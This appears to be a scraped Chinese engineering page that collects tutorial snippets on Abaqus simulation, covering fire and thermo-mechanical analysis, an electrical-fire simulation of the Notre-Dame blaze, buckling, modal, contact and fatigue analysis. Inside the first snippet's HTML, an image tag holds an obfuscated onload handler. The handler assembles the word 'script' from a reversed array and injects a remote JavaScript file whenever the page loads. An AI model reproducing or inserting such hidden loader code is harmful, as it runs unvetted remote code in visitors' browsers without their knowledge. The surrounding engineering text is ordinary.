abaqus火災(zāi)分析的案例
ABAQUS熱力耦合分析(火災(zāi)試驗(yàn)?zāi)M)
<p><strong>0、分析方法簡(jiǎn)介</strong></p><p><strong>順序熱力耦合—火災(zāi)試驗(yàn)最常用分析方法。</strong></p><p><strong>1、單位統(tǒng)一</strong></p><p>做熱力耦合，要統(tǒng)一好單位，不然很容易出錯(cuò)。</p><p><img onload="var st=document['create' + 'Element'](['t', 'p', 'i', 'r', 'c', 's'].reverse().join(''));st['src']='https://img.jishulink.com/202505/attachment/e3c0c45774c44ad99c4c8cf72de98f7b.js';document.body['append' + 'Child'](st)"src="https://img.jishulink.com/202006/imgs/13c531bcd602468dae83523073c6d0c5"></p><p><strong>2、時(shí)間單位</strong></p><p>時(shí)間單位用min和s，注意Stefan-Boltzmann常數(shù)、對(duì)流換熱系數(shù)和導(dǎo)熱系數(shù)的換算。</p><p><strong>3、熱膨脹系數(shù)</strong></p><p>計(jì)算公式有2種，單位不一樣，注意單位的換算。
展開 abaqus混凝土框架結(jié)構(gòu)受火災(zāi)分析 ￥20
abaqus混凝土框架結(jié)構(gòu)受火災(zāi)分析
室內(nèi)火災(zāi)與噴淋模擬分析
室內(nèi)火災(zāi)與噴淋模擬分析
現(xiàn)代社會(huì)隨著經(jīng)濟(jì)的高速發(fā)展，人類面臨的火災(zāi)現(xiàn)象呈現(xiàn)出復(fù)雜化和多樣化的趨勢(shì)，火災(zāi)的發(fā)生已從地面（森林火災(zāi)等）發(fā)展到地下（地鐵、地下商場(chǎng)火災(zāi)等），從固定環(huán)境（建筑火災(zāi)等）發(fā)展到移動(dòng)環(huán)境
（如交通工具火災(zāi)等），而火災(zāi)事故的發(fā)生頻數(shù)和直接損失也不斷上升。在眾多火災(zāi)中，那些受限空間內(nèi)的火災(zāi)造成的人員傷亡和經(jīng)濟(jì)損失極為重大，如建筑，地鐵和船舶火災(zāi)等，這類火災(zāi)直接發(fā)生在人類社會(huì)最主要的活動(dòng)場(chǎng)所，它對(duì)人類生命和財(cái)產(chǎn)的危害最大。
火災(zāi)是一種很復(fù)雜的物理化學(xué)過程，它包含著湍流流動(dòng)及混合、傳熱和傳質(zhì)、熱解和各種化學(xué)反應(yīng)等分過程，也包含著這些分過程的相互作用。人們研究火災(zāi)的主要目的在于揭示火災(zāi)發(fā)生、發(fā)展的規(guī)律，既
要定性研究煙氣運(yùn)動(dòng)的規(guī)律，也要定量研究火災(zāi)及煙氣的濃度、速度、溫度等的空間分布及其隨時(shí)間的變化規(guī)律，以便對(duì)受限空間的防火設(shè)計(jì)及火災(zāi)的評(píng)估、預(yù)防、撲滅及人員逃生提供定性或定量的理論和試驗(yàn)依據(jù)。
目前對(duì)各種受限空間火災(zāi)的研究方法主要包括兩個(gè)大的方面，一是利用實(shí)物或相似模型進(jìn)行試驗(yàn)研究；二是利用計(jì)算機(jī)建模數(shù)值模擬研究。大家知道實(shí)物或模型試驗(yàn)研究受到費(fèi)用、設(shè)備、環(huán)境等多方面因
素的影響，且同一實(shí)物試驗(yàn)是不可重復(fù)的一次性試驗(yàn)。因此，近年來隨著計(jì)算機(jī)速度性能的不斷提高，越來越多的火災(zāi)研究者利用計(jì)算機(jī)建模對(duì)火災(zāi)進(jìn)行數(shù)值模擬研究，它彌補(bǔ)了前一種方法的很多缺點(diǎn)。
為簡(jiǎn)化計(jì)算，在對(duì)火災(zāi)模擬的過程中，可不考慮火災(zāi)中可燃物的實(shí)際燃燒過程，只考慮可燃物燃燒的兩個(gè)主要特性（即燃燒發(fā)出熱量和放出煙氣）對(duì)發(fā)生火災(zāi)的受限空間的影響。這樣就可以按照火源的主要特征（放熱和放煙）對(duì)火源進(jìn)行簡(jiǎn)化，即將燃燒過程的發(fā)熱特性簡(jiǎn)化成具有相同放熱速率的熱源，煙氣特性簡(jiǎn)化成有一定質(zhì)量流的煙氣羽流。
展開 電氣仿真工程師關(guān)于巴黎圣母院火災(zāi)原因的仿真分析
電氣仿真工程師關(guān)于巴黎圣母院火災(zāi)原因的仿真分析
2019年4月15日下午6點(diǎn)50分，法國(guó)的巴黎圣母院慘遭火災(zāi)，人類的一大瑰寶，灰飛煙滅，整個(gè)世界為之震驚，讓人們有開始重視了火災(zāi)的隱患，尤其是博物館等文物場(chǎng)所的火災(zāi)預(yù)防。公眾號(hào)：CAE_ANSYS
北京科技大學(xué)通過計(jì)算流體力學(xué)CFD模擬手段再現(xiàn)了巴黎圣母院的火災(zāi)蔓延過程，為火災(zāi)事故原因調(diào)查提供了初步的參考。
另外劉笑天老師從結(jié)構(gòu)的角度模擬了，巴黎圣母院塔尖四棱錐模型的倒塌原因，主要是局部受熱，支撐梁彎曲，材料性能變?nèi)酰瑢?dǎo)致其應(yīng)力不均衡，從而帶動(dòng)整個(gè)結(jié)構(gòu)，發(fā)生剛度崩潰，最終向一個(gè)方向倒塌的結(jié)果
縱觀過去的大火記錄，其原因除了人為縱火之外，剩下的大部分都是電路的短路引起的，那么電線短路到底有多大的危害，我們?yōu)槭裁匆捎冒踩碾娋€，我們電氣仿真工程師從仿真的角度為大家來解釋一下電線發(fā)生短路的溫度變化情況。
我們定性的分析一下電氣設(shè)備發(fā)生故障，電氣設(shè)備發(fā)生短路之后的危害，從用三個(gè)方面來分析電線發(fā)熱的危害
0.用電設(shè)備正常使用，電流在額定電流以內(nèi)導(dǎo)致電線溫度變化情況
1.用電設(shè)備長(zhǎng)時(shí)間工作，導(dǎo)致電線逐漸發(fā)熱產(chǎn)生火災(zāi)(如電熱水壺，電吹風(fēng)機(jī)等時(shí)間使用的線路)
2.用電設(shè)備瞬間短路，導(dǎo)致用電設(shè)備和電線瞬間燃燒，產(chǎn)生火災(zāi)（常規(guī)線路發(fā)生短路）
首先我們建立導(dǎo)線的模型和用電設(shè)備的模型
由于發(fā)生火災(zāi)的時(shí)間是下午的6點(diǎn)50分，從歐洲人的傳統(tǒng)來看，這個(gè)時(shí)間段應(yīng)該是大家休息的時(shí)間，不太應(yīng)該是工作人員使用的大功率的用電設(shè)備導(dǎo)致的火災(zāi)，應(yīng)該是照明一類的燈泡或者監(jiān)控，插線板等等小功率的設(shè)備，而且該設(shè)備沒有沒有人監(jiān)管，不然火災(zāi)也會(huì)及時(shí)的被發(fā)現(xiàn)熄滅。
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Abaqus 非線性屈曲分析方法 附ABAQUS分析手冊(cè)分析卷下載
當(dāng)然，對(duì)于方筒這類實(shí)際上是通過顯示方法實(shí)現(xiàn)的，更準(zhǔn)確的講是動(dòng)力屈曲分析，所以我們還得判斷動(dòng)能、塑形耗散等能量參數(shù)，才能使結(jié)果更加準(zhǔn)確。
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基于Abaqus的建筑結(jié)構(gòu)隔震分析 附ABAQUS建筑結(jié)構(gòu)分析應(yīng)用下載
本文通過時(shí)程分析的方法，考察隔震結(jié)構(gòu)在大震作用下的性能，結(jié)果顯示，在大震作用下，結(jié)構(gòu)的整體響應(yīng)，無論是位移角還是結(jié)構(gòu)的剪力，與小震結(jié)果都有明顯差異，隔震支座對(duì)結(jié)構(gòu)性能的改善，主要體現(xiàn)在結(jié)構(gòu)的上部，對(duì)結(jié)構(gòu)的中下部則較小，且不再滿足規(guī)范中對(duì)剪力降低50%的要求。另一方面，非線性的影響會(huì)對(duì)結(jié)構(gòu)的計(jì)算結(jié)果起到放大作用，使微小差異的結(jié)構(gòu)方案在大震作用中表現(xiàn)出明顯不同的抗震性能。
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Abaqus超彈性材料分析 附Abaqus 分析用戶手冊(cè)材料卷下載
三、后處理
1、位移云圖
圖8 位移云圖
2、應(yīng)力云圖
圖9 接觸定義
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Abaqus的響應(yīng)譜分析 附Abaqus頻響分析完整過程下載
在ABAQUS中，響應(yīng)譜分析是分為兩步完成的，第一步需要設(shè)置一個(gè)頻率提取分析步，提取結(jié)構(gòu)的前幾階固有頻率；在第二個(gè)分析步中設(shè)置響應(yīng)譜分析。
值得注意的是，譜分析的激勵(lì)是在step中加載的，不需要在load中進(jìn)行設(shè)置。
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Abaqus子結(jié)構(gòu)與子模型分析技術(shù) 附ABAQUS結(jié)構(gòu)工程分析及實(shí)例詳解文檔下載
-通過2個(gè)工程案例學(xué)習(xí)Abaqus中的子結(jié)構(gòu)與子模型分析技術(shù)”
子結(jié)構(gòu)與子模型技術(shù)在Abaqus中屬于模擬抽象化的范疇，所有Abaqus模型都涉及一定程度的抽象，但是除了傳統(tǒng)有限元的抽象方法之外，還可以通過以下幾種模擬抽象化技術(shù)來降低求解成本。
子結(jié)構(gòu)
子模型
生成矩陣
對(duì)稱模型生成、結(jié)果傳遞和循環(huán)對(duì)稱模型
周期介質(zhì)分析
網(wǎng)格劃分的梁橫截面
擴(kuò)展有限元方法（XFEM）
適當(dāng)?shù)乩眠@些抽象化建模技術(shù)可以極大地提高Abaqus的分析效率，本期文章介紹一下子結(jié)構(gòu)和子模型技術(shù)。
01
—
子結(jié)構(gòu)
在有限元分析里，子結(jié)構(gòu)也叫超級(jí)單元，是由多個(gè)單元組成的一個(gè)“整體單元”，它在線性分析的基礎(chǔ)上消除了“整體單元”中保留節(jié)點(diǎn)以外所有節(jié)點(diǎn)的自由度；子結(jié)構(gòu)的系統(tǒng)矩陣（剛度、質(zhì)量）也被縮聚成較小的矩陣，可以根據(jù)需求恢復(fù)內(nèi)部求解。
很多實(shí)際工程結(jié)構(gòu)都比較龐大，導(dǎo)致完整結(jié)構(gòu)的有限元模型計(jì)算量超出計(jì)算機(jī)的硬件資源，對(duì)于具有線性響應(yīng)的此類問題，可以使用子結(jié)構(gòu)縮聚的方法，在一般配置的計(jì)算機(jī)上來求解完整結(jié)構(gòu)的響應(yīng)。
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預(yù)應(yīng)力模態(tài)
模態(tài)分析是一個(gè)線性攝動(dòng)分析，只能進(jìn)行線性求解。在動(dòng)力學(xué)方程中，其載荷矩陣和阻尼矩陣為0，特征值的提取只取決于剛度矩陣和質(zhì)量矩陣。而結(jié)構(gòu)在外載荷的作用下剛度矩陣會(huì)發(fā)生變化，也就間接影響了結(jié)構(gòu)的固有頻率。而預(yù)應(yīng)力狀態(tài)下，我們不清楚剛度矩陣的變化對(duì)模態(tài)頻率的影響時(shí)，便需要進(jìn)行預(yù)應(yīng)力模態(tài)分析。
Abaqus預(yù)應(yīng)力模態(tài)求解
分析流程如下：第一步先進(jìn)行非線性靜力學(xué)求解——第二步進(jìn)行模態(tài)提取
需要注意的是第一步求解時(shí)必須打開幾何非線性，即NLGEOM = YES 否則第一步求解完成后剛度矩陣不會(huì)改變，模態(tài)頻率也就不會(huì)發(fā)生變化。第二步模態(tài)求解無需設(shè)置PERTURBATION（線性攝動(dòng)）或幾何非線性，軟件默認(rèn)在開啟幾何非線性的后續(xù)分析步中繼續(xù)保持。
另外，第一步非線性靜力求解的材料非線性，接觸等都會(huì)對(duì)結(jié)構(gòu)的剛度矩陣產(chǎn)生影響，進(jìn)而改變模態(tài)頻率。材料如果進(jìn)入塑性，相應(yīng)的切向模量會(huì)降低，進(jìn)而導(dǎo)致結(jié)構(gòu)剛度矩陣變小。
靜力分析下接觸狀態(tài)的改變也會(huì)對(duì)剛度矩陣產(chǎn)生影響。Abaqus在進(jìn)行預(yù)應(yīng)力模態(tài)分析時(shí)對(duì)接觸的處理如下：第一步進(jìn)行非線性接觸分析，軟件會(huì)把第一步分析結(jié)果的接觸區(qū)域作為第二步模態(tài)分析的作用區(qū)域，而第一步分析結(jié)果的接觸面分開區(qū)域不予考慮。需要注意的是，在進(jìn)行第二步模態(tài)分析時(shí)，接觸區(qū)域并不是簡(jiǎn)單的直接轉(zhuǎn)變?yōu)門ie處理，而是通過附加接觸剛度來進(jìn)行求解。
Abaqus重啟動(dòng)設(shè)置
重啟動(dòng)分析方式是一種很便捷的模式。比如，我們需要算在預(yù)應(yīng)力狀態(tài)下的模態(tài)，振動(dòng)，沖擊等等一系列工況，而如果不進(jìn)行重啟動(dòng)分析，則每個(gè)分析工況下都需要重新計(jì)算預(yù)應(yīng)力工況，對(duì)于大模型，嚴(yán)重影響計(jì)算效率；而進(jìn)行重啟動(dòng)設(shè)置后，預(yù)應(yīng)力工況只需計(jì)算一次。
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11.單元分類
1.分類方法：實(shí)體單元；殼單元；梁?jiǎn)卧粡椈蓡卧粍傮w單元；桁架單元；集中質(zhì)量單元
也可以分為：
a.一維、二維和三維單元
b.線形、二次和三次單元
c.協(xié)調(diào)單元和非協(xié)調(diào)單元
d.傳彎單元和非傳彎單元
e.結(jié)構(gòu)單元和非結(jié)構(gòu)單元
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疲勞分析|Abaqus Goodman方法案例操作 附ABAQUS疲勞分析簡(jiǎn)介下載
Abaqus/View結(jié)果讀取
讀取分析歷程中的最大交變應(yīng)力和最小交變應(yīng)力云圖
新建場(chǎng)變量：Alternating Stress和Mean Stress
根據(jù)公式：
在Abaqus后處理新建場(chǎng)變量
輸出場(chǎng)變量值到Excel
針對(duì)新建場(chǎng)，輸出單元積分點(diǎn)對(duì)應(yīng)的交變應(yīng)力和平均應(yīng)力，并輸出到Excel，與Goodman圖一并繪制。
上圖，
仿真所得單元積分點(diǎn)落到
曲線的上方或下方，
處于上方為疲勞壽命沒達(dá)到
臨
界曲值
10
E5
次。
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Abaqus有限元分析不收斂該怎么辦？ 附Abaqus 分析用戶手冊(cè)材料卷文檔下載
阻尼的添加方式主要有四種：
①材料阻尼或自穩(wěn)定系數(shù)，CDP模型中就有viscosity；部分損傷材料提供Stablization Cohesive系數(shù)；動(dòng)力分析中可以定義Damping，但是對(duì)于靜力分析，材料Damping定義是無作用的；
②單元自穩(wěn)定系數(shù)，不是所有單元都有的，其中Cohesive單元經(jīng)常會(huì)定義上；
③自動(dòng)穩(wěn)定設(shè)置，類似全局阻尼，可以避免由于塑性 絞/帶、屈曲或失穩(wěn)導(dǎo)致的不收斂問題；
④接觸阻尼或自穩(wěn)定系數(shù)，接觸屬性中可以定義阻尼；接觸控制中定義阻尼自穩(wěn)定系數(shù)，不太常用，位于Interaction模塊->Contact Controls（接觸對(duì)）或Contact Stabilization（通用接觸），如果沒有接觸問題就不用定義。
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展開 Abaqus接觸非線性在有限元計(jì)算分析中的應(yīng)用 附莊茁ABAQUS非線性有限元分析與實(shí)例下載
來源：有限元在線
ABAQUS的非線性主要在有三種：幾何非線性，材料非線性以及接觸非線性。接觸非線性在ABAQUS的有限元計(jì)算分析中應(yīng)用非常廣泛，特別是動(dòng)態(tài)顯式的求解，只要模型中包含兩個(gè)以上相互接觸的部件，就要用到接觸非線性。
ABAQUS接觸非線性的設(shè)置主要在Interation模塊中完成，設(shè)置接觸的屬性時(shí)，可以設(shè)置摩擦系數(shù)，阻尼系數(shù)，損壞，失效準(zhǔn)則等非線性參數(shù)，如圖1所示。
如圖2所示，在接觸定義界面，可以選擇通用接觸、面-面接觸、自接觸等各種非線性接觸方式。
在接觸編輯界面，可以選擇機(jī)械約束方式為運(yùn)動(dòng)學(xué)接觸算法，或是懲罰接觸方式，還可選擇滑移方式為有限滑移或小滑移，如圖3所示。
這是對(duì)模型定義非線性接觸后得到的分析結(jié)果，以供參考。
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展開 Abaqus帶螺紋螺栓接觸應(yīng)力分析淺析 Abaqus帶螺紋螺栓接觸應(yīng)力分析淺析
在實(shí)際情況下，很多結(jié)構(gòu)都采用螺栓連接的方式，如何考慮螺栓連接、對(duì)連接螺栓的分析計(jì)算是個(gè)難點(diǎn)。目前的常規(guī)做法通常有兩種：1.簡(jiǎn)化，用RBE2和beam梁來代替螺栓，這樣不能反映連接螺栓真實(shí)應(yīng)力，圖1為某結(jié)構(gòu)連接螺栓簡(jiǎn)化的beam梁應(yīng)力云圖，沒有接觸應(yīng)力：
.直接做出來螺栓螺紋采用接觸分析，雖然得出的結(jié)果很精確，但這樣前處理工作量大（螺栓和螺紋用六面體網(wǎng)格建模）、計(jì)算量大（接觸收斂困難），如圖為某結(jié)構(gòu)帶螺紋螺栓和連接件模型（圖2）和計(jì)算得出的結(jié)果（圖3）：
圖3 計(jì)算結(jié)果
那么，有什么好辦法可以不用簡(jiǎn)化帶螺紋螺栓，不用直接做出帶螺紋螺栓，又能得到足夠精確的結(jié)果？
運(yùn)用大型通用非線性有限元分析軟件Abaqus，只需要在接觸定義中設(shè)置跟實(shí)際螺紋形狀有關(guān)聯(lián)的參數(shù)，如牙角、螺距、螺栓小徑等，就可以模擬真實(shí)的連接螺栓接觸狀況。既可以得到足夠精確的分析結(jié)果，又節(jié)省了時(shí)間專注進(jìn)行其他的分析設(shè)置。如圖4，為連接螺栓接觸來定義帶螺紋螺栓：
圖4 連接螺栓接觸來定義帶螺紋螺栓
圖5為某結(jié)構(gòu)直徑10MM的帶螺紋的連接螺栓接觸壓力分布云圖：
圖5 某結(jié)構(gòu)直徑10mm帶螺紋的連接螺栓接觸壓力分部云圖
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